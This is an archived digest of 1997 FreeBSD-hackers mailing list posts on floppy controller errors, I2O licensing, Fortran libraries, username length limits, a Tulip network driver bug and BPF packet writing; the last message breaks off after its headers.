http://www.cdsec.com/ From owner-freebsd-hackers Mon Sep 15 05:50:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id FAA26799 for hackers-outgoing; Mon, 15 Sep 1997 05:50:30 -0700 (PDT) Received: from fly.HiWAAY.net (root@fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id FAA26792 for ; Mon, 15 Sep 1997 05:50:25 -0700 (PDT) Received: from nospam.hiwaay.net (tnt2-150.HiWAAY.net [208.147.148.150]) by fly.HiWAAY.net (8.8.6/8.8.6) with ESMTP id HAA11019 for ; Mon, 15 Sep 1997 07:50:22 -0500 (CDT) Received: from nospam.hiwaay.net (localhost [127.0.0.1]) by nospam.hiwaay.net (8.8.7/8.8.4) with ESMTP id HAA22146 for ; Mon, 15 Sep 1997 07:50:19 -0500 (CDT) Message-Id: <199709151250.HAA22146@nospam.hiwaay.net> X-Mailer: exmh version 2.0zeta 7/24/97 To: hackers@FreeBSD.ORG From: dkelly@hiwaay.net Subject: Re: Do *you* have problems with floppies? In-reply-to: Message from j@uriah.heep.sax.de (J Wunsch) of "Mon, 15 Sep 1997 08:29:59 +0200." <19970915082959.QR50985@uriah.heep.sax.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 15 Sep 1997 07:50:17 -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk J Wunsch writes: > > Btw., Tor Egge meanwhile confirmed that his motherboard/chipset is > broken. >From my archive: Tor.Egge@idi.ntnu.no said: > Is `Passive release' present as an configuration entry in the PNP/PCI > screen in the BIOS configuration ? If yes, is it enabled or disabled ? > > When I disable `Passive release', the errors during formatting > disappears. Does this say, "Tor's MB is broken?" I went back to my P6NP5's BIOS, selected "LOAD DEFAULTS" then touched up a few little things like parity enable. Noticed Passive Release went from Enabled to Disabled. And mostly *my* problems have disappeared too. Was able to get one or two errors off the FDC. However at this moment I don't really remember if I left "Passive Release" enabled or disabled. But loading BIOS defaults made a definite difference. Otherwise I had been running whatever the BIOS was when the board came out of the box, plus a few touchups for ISA IRQ's due to PNP crap. And the Bovine RC5V2 client went from 425k keys/sec to 426k keys/sec on a PPro 166/512k. -- David Kelly N4HHE, dkelly@hiwaay.net ===================================================================== The human mind ordinarily operates at only ten percent of its capacity -- the rest is overhead for the operating system. From owner-freebsd-hackers Mon Sep 15 05:55:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id FAA27004 for hackers-outgoing; Mon, 15 Sep 1997 05:55:35 -0700 (PDT) Received: from hotmail.com (F38.hotmail.com [207.82.250.49]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id FAA26997 for ; Mon, 15 Sep 1997 05:55:33 -0700 (PDT) Received: (qmail 19345 invoked by uid 0); 15 Sep 1997 12:55:03 -0000 Message-ID: <19970915125503.19344.qmail@hotmail.com> Received: from 207.87.46.98 by www.hotmail.com with HTTP; Mon, 15 Sep 1997 05:55:03 PDT X-Originating-IP: [207.87.46.98] From: "Douglas Jardine" To: hackers@freebsd.org Subject: LRU implementation Content-Type: text/plain Date: Mon, 15 Sep 1997 05:55:03 PDT Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, I had a question on the implementation of Global-LRU in FreeBSD: What exact implementation does it employ - CLOCK, 2-handed CLOCK or K-bit LRU? The 4.3BSD book says that 4.3BSD uses 2-handed CLOCK but the 4.4BSD book is silent on this topic. Did FreeBSD diverge from 4.4BSD in this aspect? Does 4.4BSD use a 2-handed clock too? -dj ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com From owner-freebsd-hackers Mon Sep 15 06:01:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA27413 for hackers-outgoing; Mon, 15 Sep 1997 06:01:57 -0700 (PDT) Received: from word.smith.net.au (vh1.gsoft.com.au [203.38.152.122]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id GAA27408 for ; Mon, 15 Sep 1997 06:01:49 -0700 (PDT) Received: from word.smith.net.au (localhost.gsoft.com.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id WAA00868; Mon, 15 Sep 1997 22:29:56 +0930 (CST) Message-Id: <199709151259.WAA00868@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: Darren Reed cc: hackers@freebsd.org Subject: Re: I20 to cause problems for linux et al. (fwd) In-reply-to: Your message of "Mon, 15 Sep 1997 21:58:43 +1000." <199709151158.VAA10836@plum.cyber.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 15 Sep 1997 22:29:56 +0930 From: Mike Smith Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > [From a friend...] ...who has trouble formatting their messages. 8) > > > > i've been reading disturbing news that Intel's and Micro$oft's new PC > > Bus inititative (Called I2O) has developer documentation which is > > available only with the payment of hefty licence fees. Furthermore, > > developers have to promise not to release any information on this > > interface, nor any source code for any drivers that they develop > > fot I2O. Even if you can get information to write drivers, > > you will be banned from distributing those drivers. This will > > wreak havoc on > > free OSs like linux and freeBSD. > > more information from: www.i2osig.org a) We were discussing this a month or two ago. Lots of people made various rude noises about I2O, both on the general model and the likely political motivation behind it. b) The spec was leaked *very* publically at about that time, and if I remember correctly it was Wired that ran the URL for the leak. As there has been _no_ public statement from the I2O people regarding the leak, most particularly no attempt to regain control of the leaked document despite it being discussed openly in public forums which cannot help but be frequented by employees of SIG members, the only reasonable assumption that can be reached is that the SIG, or at least the controlling members of the SIG really don't give a damn. If current hardware exists in compliance with the standard as of ~May this year, documentation is "available", if of questionable status. Providing that IOP drivers continue to be compatible with the spec as leaked, free operating systems face an _easier_ time with I2O than previously, as there will no longer be a need to write new drivers for new hardware; just load the matching IOP driver and away you go. Of course you're tied to the RTOS on the IOP, and the vendor's potentially buggy driver, but at least you'll be in the same market segment as the big customers. mike From owner-freebsd-hackers Mon Sep 15 06:23:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA28530 for hackers-outgoing; Mon, 15 Sep 1997 06:23:14 -0700 (PDT) Received: from itesec.hsc.fr (root@itesec.hsc.fr [192.70.106.33]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id GAA28520 for ; Mon, 15 Sep 1997 06:23:09 -0700 (PDT) Received: from mars.hsc.fr (pb@mars.hsc.fr [192.70.106.44]) by itesec.hsc.fr (8.8.5/8.8.5/itesec-1.9) with ESMTP id PAA20237; Mon, 15 Sep 1997 15:22:53 +0200 (MET DST) Received: (from pb@localhost) by mars.hsc.fr (8.8.5/8.8.5/pb-19970301) id PAA05215; Mon, 15 Sep 1997 15:22:34 +0200 (MET DST) Message-ID: <19970915152233.OS63632@mars.hsc.fr> Date: Mon, 15 Sep 1997 15:22:33 +0200 From: Pierre.Beyssac@hsc.fr (Pierre Beyssac) To: darrenr@cyber.com.au (Darren Reed) Cc: hackers@FreeBSD.ORG Subject: Re: I20 to cause problems for linux et al. (fwd) References: <199709151158.VAA10836@plum.cyber.com.au> X-Mailer: Mutt 0.59.1e Mime-Version: 1.0 In-Reply-To: <199709151158.VAA10836@plum.cyber.com.au>; from Darren Reed on Sep 15, 1997 21:58:43 +1000 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk According to Darren Reed: [ I20 ] > > of hefty licence fees. Furthermore, developers have to promise not to release any > > information on this interface, nor any source code for any drivers that they develop The following Wired article : http://www.wired.com/news/news/technology/story/5343.html _had_ a link to a draft (V1.5) of their specs (on the FTP server of the consortium itself). It used to be publicly accessible when Wired issued the story, by end July: it is a nice 2Mb PDF document and I downloaded it out of curiosity. [ The link from Wired was removed apparently around August 1st ] -rw-r--r-- 1 pb staff 1968945 Jul 22 01:37 ver1-5.pdf I didn't keep the URL but I doubt it still is accessible now without being a member (I'm not). A search for "ver1-5.pdf" on Altavista yields the following, among others: http://www.andrew.cmu.edu/~mitz/ which has a link to the document: http://www.andrew.cmu.edu/ver1-5.pdf Note that only I2O members have to comply with their stupid requirements regarding driver source code distribution. -- Pierre.Beyssac@hsc.fr From owner-freebsd-hackers Mon Sep 15 06:57:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA00277 for hackers-outgoing; Mon, 15 Sep 1997 06:57:56 -0700 (PDT) Received: from kalypso.cybercom.net (kalypso.cybercom.net [209.21.136.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id GAA00271 for ; Mon, 15 Sep 1997 06:57:51 -0700 (PDT) Received: from atlanta (mfd-dial1-25.cybercom.net [209.21.137.25]) by kalypso.cybercom.net (8.8.7/8.6.12) with SMTP id JAA14576; Mon, 15 Sep 1997 09:57:09 -0400 (EDT) Message-Id: <3.0.3.32.19970915094813.009e88d0@cybercom.net> X-Sender: ksmm@cybercom.net X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.3 (32) Date: Mon, 15 Sep 1997 09:48:13 -0400 To: Terry Lambert , jbryant@tfs.net From: The Classiest Man Alive Subject: Re: lib/libF77 and lib/libI77 Cc: freebsd-hackers@FreeBSD.ORG In-Reply-To: <199709150717.AAA17163@usr04.primenet.com> References: <199709150417.XAA07961@argus.tfs.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk At 07:17 AM 9/15/97 +0000, Terry Lambert wrote: >>> The ANSI/ISO standard for C++ specifies a complex number class. And those >>> vector class templates can be tacked together to make a matrix, and... >> >> and of course, i'll use it when the supported code base is large >> enough... as far as the number of lines of fortran dealing with this >> stuff: "billions and billions"... > > [ edit of impressive mathematical ranting ] > >This type of code desn't tend to exist in C or C++ ...at least until >after f2c has been run on it. 8-). Even then it ends up being >largely unreadable. 8-(. Good enough to make a library. ;-) K.S. From owner-freebsd-hackers Mon Sep 15 07:56:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA02880 for hackers-outgoing; Mon, 15 Sep 1997 07:56:26 -0700 (PDT) Received: from nevis.oss.uswest.net (nevis.oss.uswest.net [204.147.85.3]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id HAA02874 for ; Mon, 15 Sep 1997 07:56:23 -0700 (PDT) Received: (from greg@localhost) by nevis.oss.uswest.net (8.8.5/8.8.2) id JAA19253 for hackers@FreeBSD.ORG; Mon, 15 Sep 1997 09:55:51 -0500 (CDT) From: "Greg Rowe" Message-Id: <9709150955.ZM19251@nevis.oss.uswest.net> Date: Mon, 15 Sep 1997 09:55:51 -0500 X-Mailer: Z-Mail (3.2.1 10oct95) To: hackers@FreeBSD.ORG Subject: setlogin error on 16 character user name Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I'm trying to increase the user name length on 2.2-STABLE to 16 characters. UT_NAMESIZE is set to 16 and MAXLOGNAME is set to 17 as in the 3.0 source. System was rebuilt using make world and the kernel re-made. FTP logins work ok on a 16 character username, but telnet and rlogins fail with the following: Sep 15 14:32:18 auth1 login: setlogin(testtesttesttest): Invalid argument Sep 15 14:32:18 auth1 login: setlogin(testtesttesttest): Invalid argument Sep 15 14:32:18 auth1 login: setusercontext() failed - exiting Sep 15 14:32:18 auth1 login: setusercontext() failed - exiting A 15 character or less username works OK. Do I need to also change anything in login to get this to work ? Thanks. Greg From owner-freebsd-hackers Mon Sep 15 08:12:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA03647 for hackers-outgoing; Mon, 15 Sep 1997 08:12:49 -0700 (PDT) Received: from iclub.nsu.ru (root@iclub.nsu.ru [193.124.222.66]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA03634 for ; Mon, 15 Sep 1997 08:12:44 -0700 (PDT) Received: from localhost (max@localhost) by iclub.nsu.ru (8.8.7/8.8.5) with SMTP id VAA00677; Mon, 15 Sep 1997 21:40:45 +0700 (NSS) Date: Mon, 15 Sep 1997 21:40:45 +0700 (NSS) From: Max Khon To: Greg Lehey cc: Terry Lambert , Snob Art Genre , syssgm@dtir.qld.gov.au, freebsd-hackers@FreeBSD.ORG Subject: Re: Here's an interesting bug in our utmp handling. In-Reply-To: <19970915173350.16122@lemis.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 15 Sep 1997, Greg Lehey wrote: > On Mon, Sep 15, 1997 at 07:23:55AM +0000, Terry Lambert wrote: > >> Agree. Not only have I never used it, I've never even heard of anyone > >> using it. Ok, come to think of it, I have used it, but only because I was > >> amazed that I could. :-) > > > > I used it in order to avoid having to redial a machine I was already > > connected to. > > Come to think of it, I'm pretty sure I've had trouble trying to do > that on System V (testing a getty, IYWTK). I think it *did* do > something like a revoke. JFYI: UnixWare 2.1.1 (UNIX_SV 4.2MP 2.1.1 i386 x86at): iceman:~$ls -l /usr/bin/login -r-xr-x--- 2 root bin 68980 Dec 11 1995 /usr/bin/login iceman:~$ /max From owner-freebsd-hackers Mon Sep 15 09:16:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA06796 for hackers-outgoing; Mon, 15 Sep 1997 09:16:59 -0700 (PDT) Received: from unix.tfs.net (root@unix.tfs.net [199.79.146.60]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA06791 for ; Mon, 15 Sep 1997 09:16:56 -0700 (PDT) Received: from argus.tfs.net (as1-p38.tfs.net [139.146.205.38]) by unix.tfs.net (8.8.5/8.8.5) with ESMTP id KAA02920; Mon, 15 Sep 1997 10:15:22 -0500 Received: (from jbryant@localhost) by argus.tfs.net (8.8.5/8.8.5) id LAA13343; Mon, 15 Sep 1997 11:16:43 -0500 (CDT) From: Jim Bryant Message-Id: <199709151616.LAA13343@argus.tfs.net> Subject: Re: I20 to cause problems for linux et al. (fwd) In-Reply-To: <199709151158.VAA10836@plum.cyber.com.au> from Darren Reed at "Sep 15, 97 09:58:43 pm" To: darrenr@cyber.com.au (Darren Reed) Date: Mon, 15 Sep 1997 11:16:42 -0500 (CDT) Cc: freebsd-hackers@freebsd.org Reply-to: jbryant@tfs.net X-Windows: R00LZ!@# MS-Winbl0wz DR00LZ!@# X-Operating-System: FreeBSD 2.2.2-RELEASE #0: Wed Jul 9 01:01:24 CDT 1997 X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In reply: > [From a friend...] > > > > i've been reading disturbing news that Intel's and Micro$oft's new PC Bus inititative > > (Called I2O) has developer documentation which is available only with the payment > > of hefty licence fees. Furthermore, developers have to promise not to release any Remember MicroChannel? A bus is as good as 3rd party manufacturing support for it. Most manufacturers didn't want to pay IBM, and most manufacturers think about the same of Mickeysoft as we do... > > information on this interface, nor any source code for any drivers that they develop > > fot I2O. Even if you can get information to write drivers, > > you will be banned from distributing those drivers. This will wreak havoc on > > free OSs like linux and freeBSD. hmmm... What is the Federal Trade Commission's email address? Justice Department? How about the American Way (TM), a class-action lawsuit, on the grounds of restraint of trade. > > more information from: www.i2osig.org jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" ------------------------------------------------------------------------------ Inet: jbryant@tfs.net AX.25: kc5vdj@wv0t.#neks.ks.usa.noam grid: EM28PW voice: KC5VDJ - 6 & 2 Meters AM/FM/SSB, 70cm FM. http://www.tfs.net/~jbryant ------------------------------------------------------------------------------ HF/6M/2M: IC-706-MkII, 2M: HTX-212, 2M: HTX-202, 70cm: HTX-404, Packet: KPC-3+ From owner-freebsd-hackers Mon Sep 15 09:55:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA08951 for hackers-outgoing; Mon, 15 Sep 1997 09:55:14 -0700 (PDT) Received: from mexico.brainstorm.eu.org (root@mexico.brainstorm.fr [193.56.58.253]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA08943 for ; Mon, 15 Sep 1997 09:55:08 -0700 (PDT) Received: from brasil.brainstorm.eu.org (brasil.brainstorm.fr [193.56.58.33]) by mexico.brainstorm.eu.org (8.8.4/8.8.4) with ESMTP id SAA00291 for ; Mon, 15 Sep 1997 18:55:01 +0200 Received: (from uucp@localhost) by brasil.brainstorm.eu.org (8.8.6/brasil-1.2) with UUCP id SAA00858 for freebsd-hackers@FreeBSD.ORG; Mon, 15 Sep 1997 18:54:48 +0200 Received: (from roberto@localhost) by keltia.freenix.fr (8.8.7/keltia-uucp-2.10/nospam) id IAA17113; Mon, 15 Sep 1997 08:00:13 +0200 (CEST) Message-ID: <19970915080012.46448@keltia.freenix.fr> Date: Mon, 15 Sep 1997 08:00:12 +0200 From: Ollivier Robert To: freebsd-hackers@FreeBSD.ORG Subject: Re: lib/libF77 and lib/libI77 References: <199709142347.TAA17189@ccomp.inode.com> <6806.874285868@time.cdrom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.76 In-Reply-To: <6806.874285868@time.cdrom.com>; from Jordan K. Hubbard on Sun, Sep 14, 1997 at 06:11:08PM -0700 X-Operating-System: FreeBSD 3.0-CURRENT ctm#3649 AMD-K6 MMX @ 208 MHz Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk According to Jordan K. Hubbard: > Yeah, but they're not and that means that they haven't been part of > the binary distributions, either. So that begs the question: What has They _are_ part of the binary distribution... in libf2c.a ! 248 [7:56] root@keltia:/usr/src# ll /usr/lib/libf2c* -r--r--r-- 1 root wheel 107298 Sep 15 01:23 /usr/lib/libf2c.a -r--r--r-- 1 root wheel 79744 May 24 12:04 /usr/lib/libf2c.so.2.0 (I use -C for install for the date on the .so file is still May). What am I missing ? src/lib/libf2c/Makefile ------------------------------------------------------------ .PATH: ${.CURDIR}/../libF77 ${.CURDIR}/../libI77 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ LIB=f2c CFLAGS+= -DIEEE_drem -DNON_ANSI_RW_MODES -DNON_UNIX_STDIO -DPedantic -I${.CURDIR}/../../usr.bin/f2c MISC = Version.c main.c s_rnge.c abort_.c getarg_.c iargc_.c getenv_.c\ signal_.c s_stop.c s_paus.c system_.c cabs.c\ derf_.c derfc_.c erf_.c erfc_.c sig_die.c F77_aloc.c POW = pow_ci.c pow_dd.c pow_di.c pow_hh.c pow_ii.c pow_ri.c pow_zi.c pow_zz.c CX = c_abs.c c_cos.c c_div.c c_exp.c c_log.c c_sin.c c_sqrt.c DCX = z_cos.c z_div.c z_exp.c z_log.c z_sin.c z_sqrt.c REAL = r_abs.c r_acos.c r_asin.c r_atan.c r_atn2.c r_cnjg.c r_cos.c\ r_cosh.c r_dim.c r_exp.c r_imag.c r_int.c\ r_lg10.c r_log.c r_mod.c r_nint.c r_sign.c\ r_sin.c r_sinh.c r_sqrt.c r_tan.c r_tanh.c DBL = d_abs.c d_acos.c d_asin.c d_atan.c d_atn2.c\ d_cnjg.c d_cos.c d_cosh.c d_dim.c d_exp.c\ d_imag.c d_int.c d_lg10.c d_log.c d_mod.c\ d_nint.c d_prod.c d_sign.c d_sin.c d_sinh.c\ d_sqrt.c d_tan.c d_tanh.c INT = i_abs.c i_dim.c i_dnnt.c i_indx.c i_len.c i_mod.c i_nint.c i_sign.c HALF = h_abs.c h_dim.c h_dnnt.c h_indx.c h_len.c h_mod.c h_nint.c h_sign.c CMP = l_ge.c l_gt.c l_le.c l_lt.c hl_ge.c hl_gt.c hl_le.c hl_lt.c EFL = ef1asc_.c ef1cmc_.c CHAR = s_cat.c s_cmp.c s_copy.c F90BIT = lbitbits.c lbitshft.c F77SRCS= $(MISC) $(POW) $(CX) $(DCX) $(REAL) $(DBL) $(INT) \ $(HALF) $(CMP) $(EFL) $(CHAR) $(F90BIT) I77SRCS = Version.c backspace.c close.c dfe.c dolio.c due.c endfile.c err.c \ fmt.c fmtlib.c iio.c ilnw.c inquire.c lread.c lwrite.c open.c \ rdfmt.c rewind.c rsfe.c rsli.c rsne.c sfe.c sue.c typesize.c uio.c \ util.c wref.c wrtfmt.c wsfe.c wsle.c wsne.c xwsne.c SRCS= ${F77SRCS} ${I77SRCS} .include ------------------------------------------------------------ -- Ollivier ROBERT -=- FreeBSD: There are no limits -=- roberto@keltia.freenix.fr FreeBSD keltia.freenix.fr 3.0-CURRENT #34: Sun Sep 14 16:30:44 CEST 1997 From owner-freebsd-hackers Mon Sep 15 10:59:00 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA13285 for hackers-outgoing; Mon, 15 Sep 1997 10:59:00 -0700 (PDT) Received: from csla.csl.sri.com (csla.csl.sri.com [192.12.33.2]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA13278 for ; Mon, 15 Sep 1997 10:58:57 -0700 (PDT) Received: from japonica.csl.sri.com (japonica.csl.sri.com [130.107.15.17]) by csla.csl.sri.com (8.8.6/8.8.5) with ESMTP id KAA27830 for ; Mon, 15 Sep 1997 10:54:45 -0700 (PDT) Received: from japonica.csl.sri.com (localhost [127.0.0.1]) by japonica.csl.sri.com (8.8.7/8.7.3) with ESMTP id KAA19774 for ; Mon, 15 Sep 1997 10:57:33 -0700 (PDT) Message-Id: <199709151757.KAA19774@japonica.csl.sri.com> To: hackers@FreeBSD.ORG Subject: SMC Tulip card problems Date: Mon, 15 Sep 1997 10:57:33 -0700 From: Fred Gilham Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Someone asked if the new DE driver (I assume in the latest 3.0 snaps) works. I'm having trouble with it. I'm using a later-model SMC tulip-based card on my home machine and it doesn't work very well. What happens is that after booting it works at first. But then once you do a significant amount of networking the interface seems to freeze. If I'm using a TCP protocol, such as ftp, doing an ifconfig de0 -down ; ifconfig de0 -up will bring it back for a while. (If I want to do lengthy FTPs I can do while ( 1 ) ifconfig de0 -down ; ifconfig de0 -up sleep 1 end in another console and things will look like normal. But UDP seems to go south on me. I NFS mount a partition from another machine and once the interface freezes, NFS never seems to recover. Going back to the 3.0-970507 snap works. I have that one on CD-ROM. I know that later snaps work (I think everything in July was OK) but nothing including and after the 3.0-970812 snap works. I don't have anything earlier than that around and they were taken off releng22.freebsd.org. -Fred Gilham gilham@csl.sri.com From owner-freebsd-hackers Mon Sep 15 11:00:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA13388 for hackers-outgoing; Mon, 15 Sep 1997 11:00:39 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA13383 for ; Mon, 15 Sep 1997 11:00:36 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id LAA23942 for ; Mon, 15 Sep 1997 11:00:12 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd023936; Mon Sep 15 18:00:05 1997 Message-ID: <341D777E.446B9B3D@whistle.com> Date: Mon, 15 Sep 1997 10:59:26 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: hackers@freebsd.org Subject: Another bright idea.. Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk We have many many stylistic or variable-type problems in teh system, that are basically "mechanical changes" We also have a very large community of people out there who are just learning about freeBSD, and would like to do something useful that would allow them to learn their way around the source tree. Maybe the following might be a good idea. After seeing jordan,and bruce slug it out over 'types' and seeing thousands of commites re: -1 -> EOF via Philip maybe it might be possible for us to have one central place where people could register the existance of a 'global bogon' /src/BOGONS? with a suggested mechanocal fix, and then we could allow juniour aspiring hackers, with a full source tree, to perform these multi-mega-patches, and submit them via a quick review and then into the tree. we have a great resource in the number of people who could do this sort of thing. We should use them.. thought? julian From owner-freebsd-hackers Mon Sep 15 11:03:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA13550 for hackers-outgoing; Mon, 15 Sep 1997 11:03:45 -0700 (PDT) Received: from casper.cpe.ku.ac.th (casper.cpe.ku.ac.th [158.108.32.75]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA13321 for ; Mon, 15 Sep 1997 10:59:18 -0700 (PDT) Received: from localhost (stt@localhost) by casper.cpe.ku.ac.th (8.8.5/8.8.5) with SMTP id BAA16580 for ; Tue, 16 Sep 1997 01:00:04 +0700 (ICT) Date: Tue, 16 Sep 1997 01:00:03 +0700 (ICT) From: Sunthiti Patchararungruang To: hackers@freebsd.org Subject: What is slip-pseudo-header ? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Dear every body, First of all, I would like to thank you for your previous help. Now, I have another question. I read a BPF document and saw that it mention about slip-pseudo-header. I cannot find any other information about it even in FreeBSD include files. Please help me. Best Regards, Sunthiti Patchararungruang From owner-freebsd-hackers Mon Sep 15 11:07:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA13730 for hackers-outgoing; Mon, 15 Sep 1997 11:07:18 -0700 (PDT) Received: from casper.cpe.ku.ac.th (casper.cpe.ku.ac.th [158.108.32.75]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA13724 for ; Mon, 15 Sep 1997 11:07:06 -0700 (PDT) Received: from localhost (stt@localhost) by casper.cpe.ku.ac.th (8.8.5/8.8.5) with SMTP id BAA16592 for ; Tue, 16 Sep 1997 01:07:58 +0700 (ICT) Date: Tue, 16 Sep 1997 01:07:57 +0700 (ICT) From: Sunthiti Patchararungruang To: hackers@freebsd.org Subject: Problem about BPF Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Dear every body, If I want to send a frame to a BPF device, can I use more than one "write" commands to complete all fields of a packet? (i.e. first write for ether_header and another write for IP packet). Best Regards, Sunthiti Patchararungruang From owner-freebsd-hackers Mon Sep 15 11:19:38 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA14461 for hackers-outgoing; Mon, 15 Sep 1997 11:19:38 -0700 (PDT) Received: from kithrup.com (kithrup.com [205.179.156.40]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA14453 for ; Mon, 15 Sep 1997 11:19:35 -0700 (PDT) Received: (from sef@localhost) by kithrup.com (8.8.5/8.6.6) id LAA12526; Mon, 15 Sep 1997 11:19:33 -0700 (PDT) Date: Mon, 15 Sep 1997 11:19:33 -0700 (PDT) From: Sean Eric Fagan Message-Id: <199709151819.LAA12526@kithrup.com> To: hackers@freebsd.org Subject: Re: I20 to cause problems for linux et al. (fwd) References: <199709151158.VAA10836@plum.cyber.com.au> from Darren Reed at "Sep 15, 97 09:58:43 pm" Organization: Kithrup Enterprises, Ltd. Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In article <199709151616.LAA13343.kithrup.freebsd.hackers@argus.tfs.net> you write: >Remember MicroChannel? > >A bus is as good as 3rd party manufacturing support for it. Most >manufacturers didn't want to pay IBM, and most manufacturers think >about the same of Mickeysoft as we do... Uh, sorry, hate to tell you, but I2O already has more support than MCA ever did. Both uSoft and Intel now have more market control than IBM ever did in the PC market. The main reason for I2O is for Intel to sell more Intel chips. Remember that. And then go look at the "Slot One" (designed solely to prevent anyone else from being able to make a compatible CPU) and the (IMEO bogus) patents Intel has on the Merced instruction set. From owner-freebsd-hackers Mon Sep 15 11:54:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA16595 for hackers-outgoing; Mon, 15 Sep 1997 11:54:58 -0700 (PDT) Received: from shell.firehouse.net (brian@shell.firehouse.net [209.42.203.45]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA16590 for ; Mon, 15 Sep 1997 11:54:52 -0700 (PDT) Received: from localhost (brian@localhost) by shell.firehouse.net (8.8.5/8.8.5) with SMTP id OAA02189; Mon, 15 Sep 1997 14:54:18 -0400 (EDT) Date: Mon, 15 Sep 1997 14:54:14 -0400 (EDT) From: Brian Mitchell To: Sunthiti Patchararungruang cc: hackers@FreeBSD.ORG Subject: Re: Problem about BPF In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 16 Sep 1997, Sunthiti Patchararungruang wrote: > Dear every body, > > If I want to send a frame to a BPF device, can I use more than one > "write" commands to complete all fields of a packet? (i.e. first write for > ether_header and another write for IP packet). to the best of my knowledge, no. I believe it sends the packet out without really looking at it/determining if it is full or not. From owner-freebsd-hackers Mon Sep 15 11:57:53 1997 Return-Path: Received: (from 